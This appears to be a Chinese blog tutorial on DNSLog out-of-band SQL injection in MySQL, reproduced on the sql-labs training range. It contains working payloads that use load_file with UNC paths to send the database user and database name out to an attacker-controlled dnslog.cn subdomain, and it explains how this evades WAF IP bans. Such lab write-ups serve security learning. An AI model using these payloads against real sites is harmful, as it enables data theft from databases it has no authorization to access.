DNSLog注入

一、什么是DNS?

二、DNSLog注入原理

三、注入所需了解的知识

1、什么是UNC?

2、注入所需条件?

四、注入复现

一、什么是DNS?

参考文章:什么是DNS?DNS如何部署!!!

二、DNSLog注入原理

通常我们面对SQL注入过程中没有回显的情况下,只能通过盲注的方式来判断是否存在SQL注入,但是,使用盲注,手工测试是需要花费大量的时间的,可能会想到使用sqlmap直接去跑出数据,但在实际测试中,使用sqlmap跑盲注,有很大的几率,网站把ip给封掉,这就影响了我们的测试进度,也许你也可以使用代理池。。。

我们输入域名之后 我们的本地域名服务器会把在自身服务器里面查询是否存在ip地址 如果没有则发送到根域名服务器 如果根域名服务器里面有对应的记录则返回 如果没有则告诉本地域名服务器去向顶级域名服务器查找。

dns在解析的时候会留下记录。

简单来说:

当dns服务器是我们自己的时,我们就可以通过查看日志来查询一些信息

将dnslog平台中的特有字段payload带入目标发起dns请求,通过dns解析将请求后的关键信息组合成新的三级域名带出,在ns服务器的dns日志中显示出来。

三、注入所需了解的知识

1、什么是UNC?

UNC路径就是类似\softer这样的形式的网络路径。它符合 \servername\sharename 格式,其中 servername 是服务器名,sharename 是共享资源的名称。

目录或文件的 UNC 名称可以包括共享名称下的目录路径,格式为:\servername\sharename\directory\filename。

例如把自己电脑的文件共享,你会获得如下路径,这就是UNC路径

//iZ53sl3r1890u7Z/Users/Administrator/Desktop/111.txt

1

2、注入所需条件?

首先说明,dns带外查询属于MySQL注入,在MySQL中有个系统属性

secure_file_priv特性,有三种状态:

secure_file_priv为null    表示不允许导入导出

secure_file_priv指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹

secure_file_priv没有设置时,则表示没有任何限制

可了解一下load_file和outfile

1

2

3

4

LOAD_FILE()函数:LOAD_FILE()函数读取一个文件并将其内容作为字符串返回

语法为:load_file(file_name),其中file_name是文件的完整路径

1

不管是布尔类型盲注还是时间盲注,都需要发送大量的数据包去判断数据,而这很可能会触发WAF的防护,因此导致被封IP。所以,如果条件允许,我们可以结合DNSlog来快速的回显数据。MySQL数据库,通过DNSlog盲注需要用到 load_file() 函数,该函数不仅能加载本地文件,同时也能对URL发起请求。因为需要使用 load_file() 函数,所以需要root权限,并且 secure_file_priv 需要为空。并且服务器要为Windows操作系统。

注入语句如:

# 查询当前用户名

?id=1 and (select load_file(concat(\\\\,(select hex(user())),.682y4b.dnslog.cn/abc))) --+

# 查看当前数据库名

?id=1 and (select load_file(concat(\\\\,(select database()),.682y4b.dnslog.cn/abc))) --+

1

2

3

4

5

\在sql语句中要转义,"\\\\"转义后变成"\\"

\\root.fqg2xn.dnslog.cn

1

2

四、注入复现

实验环境:

靶机Windows2008 R2 + phpstudy2018 php-5.2.17 + sql-labs靶场

攻击机Windows10

DNSLog:http://www.dnslog.cn/

sql-labs 第五关盲注:

盲注详细注入方式可以参考:

利用DNSLog进行注入:

注入语句:

?id=1 and (select load_file(concat(\\\\,(select hex(user())),.upa46v.dnslog.cn/abc))) --+

?id=1 and (select load_file(concat(\\\\,(select database()),.upa46v.dnslog.cn/abc))) --+

1

2

3

查看DNS解析日志:

对hex编码后的字符串进行解码:

为什么要对查询的内容进行hex编码?

如果我们要查询的用户名中存在特殊字符:如!@#$%^&

最后在请求DNS服务器时变成:!@#$%^&*.upa46v.dnslog.cn

存在特殊字符的域名无法解析。因此在DNS日志中也找不到我们查询的数据。

因此需要编码后进行查询:E262A2E.upa46v.dnslog.cn

1

在我们查询时,当不确定查询结果是否存在特殊字符时,最好先将其hex编码后在带入查询。

参考文章:

https://blog.csdn.net/qq_36119192/article/details/104919276

https://blog.csdn.net/qq_35569814/article/details/100348097

https://blog.csdn.net/weixin_30596023/article/details/99261673

https://www.cnblogs.com/rnss/p/11320305.html

————————————————

版权声明:本文为CSDN博主「Allen@Day1安全团队」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。

原文链接: